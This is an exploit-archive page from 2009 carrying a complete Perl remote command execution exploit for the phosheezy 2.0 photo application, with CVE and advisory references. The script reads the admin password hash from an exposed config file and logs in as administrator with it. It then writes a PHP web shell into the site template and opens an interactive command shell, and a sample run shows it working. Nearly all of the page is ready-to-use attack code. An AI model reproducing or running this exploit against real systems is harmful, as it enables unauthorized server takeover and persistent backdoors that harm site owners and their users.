Exploit: phosheezy 2.0 Remote Command Execution Exploit ( Ascii Version )

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phosheezy 2.0 Remote Command Execution Exploit

Published
Credit
Risk
2009.01.23
Osirys
Medium
CWE
CVE
Local
Remote
CWE-264
CWE-94
CVE-2009-0250
CVE-2009-0251
No
Yes

Plain text version

#!/usr/bin/perl

# phosheezy 2.0
# http://www.ryneezy.net/apps/phosheezy/phosheezy-v0.2.tar.gz
# Remote Command Execution Exploit
# by Osirys
# osirys[at]live[dot]it
# osirys.org
# Greets: HaVoC, x0r, jay, BlackLight
# lol at athos

# --------------------------------------------------------------
# Exploit in action :D
# --------------------------------------------------------------
# osirys[~]>$ perl exp.txt http://localhost/phosheezy/
#
# ----------------------------
# Phosheezy RCE Exploit
# Coded by Osirys
# ----------------------------
#
# [+] Admin password found:
# Sha1 pwd: 8942c747dc48c47a6f7f026df85a448046348a2c
# [+] Grabbing server headers to get a valid SESSION ID ..
# [+] SESSION ID grabbed: 3srqiuh8jrttt73tbd7j5uvhi2
# [+] Succesfully logged in as Administrator
# [+] Template edited, RCE Vulnerability Created !
# shell$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell$> exit
# [-] Quitting ..
# osirys[~]>$
# --------------------------------------------------------------

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;

my $host = $ARGV[0];
my $pwd_path = "/config/password";
my $adm_path = "/admin.php";
my $templ_path = "/admin.php?action=3";

help("-1") unless ($host);
cheek($host) == 1 || help("-2");
&banner;

$datas = get_data($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $url = $host.$pwd_path;
my $re = get_req($url);

if ($re =~ /([0-9a-f]{40})/) {
$password = $1;
print "[+] Admin password found:\n";
print " Sha1 pwd: $password \n";
adm_log($password);
}
else {
print "[-] Unable to get sha1 Admin password\n\n";
exit(0);
}

sub adm_log() {
my $password = $_[0];
my $link = $path.".".$adm_path;
my $post = "password=$password&Login=Login";
my $length = length($post);
my @data;
my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die $!;

my $data = "POST ".$link." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".$length."\r\n\r\n".
$post."\r\n";

$socket->send($data);
print "[+] Grabbing server headers to get a valid SESSION ID ..\n";

while (my $e = <$socket>) {
push(@data,$e);
}
foreach my $e(@data) {
if ($e =~ /Welcome to Ryneezy PhoSheezy web administration/) {
$log_ = 1;
print "[+] Succesfully logged in as Administrator\n";
}
elsif ($e =~ /Set-Cookie: PHPSESSID=([0-9a-z]{1,50});/) {
$phpsessid = $1;
print "[+] SESSION ID grabbed: $phpsessid\n";
}
}

(($log_)&&($phpsessid)) || die "[-] Exploit failed -> Login Failed or SESSION ID not
grabbed!\n";
RCE_create($phpsessid);
}

sub RCE_create() {
my $phpsessid = $_[0];
my $link = $path.".".$templ_path;
my $code = "header=<html><head><title>Ryneezy PhoSheezy</tit".
"le></head><body bgcolor=\"#ffffff\" text=\"#0000".
"00\">&footer=</body></html><!-- cmd --><?php sys".
"tem(\$_GET[cmd]);?><!--cmd-->&Submit=Edit Layout";
my $length = length($code);

my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die $!;

my $data = "POST ".$link." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Cookie: PHPSESSID=".$phpsessid."; hotlog=1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".$length."\r\n\r\n".
"$code\r\n";

$socket->send($data);

while (my $e = <$socket>) {
if ($e =~ /Edit layout again/) {
$rce_c = 1;
print "[+] Template edited, RCE Vulnerability Created !\n";
}
}

$rce_c == 1 || die "[-] Can't edit Template. Exploit failed\n\n";
&exec_cmd;
}

sub exec_cmd {
print "shell\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = ($host."/index.php?cmd=".$cmd);
$re = get_req($exec_url);
if ($re =~ /<!-- cmd -->(.*)/) {
my $cmd = $1;
$cmd =~ s/<!--cmd-->/[-] Undefined output or bad cmd !/;
print "$cmd\n";
&exec_cmd;
}
else {
print "[-] Undefined output or bad cmd !\n";
&exec_cmd;
}
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_data() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$h0st !~ /www/ || $h0st =~ s/www\.//;
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub banner {
print "\n".
" ---------------------------- \n".
" Phosheezy RCE Exploit \n".
" Coded by Osirys \n".
" ---------------------------- \n\n";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Cheek that you provide a hostname address!\n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}

References:

http://xforce.iss.net/xforce/xfdb/48056
http://www.milw0rm.com/exploits/7780
http://secunia.com/advisories/33531
http://osvdb.org/51411

See this note in TXT Version

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Ascii Version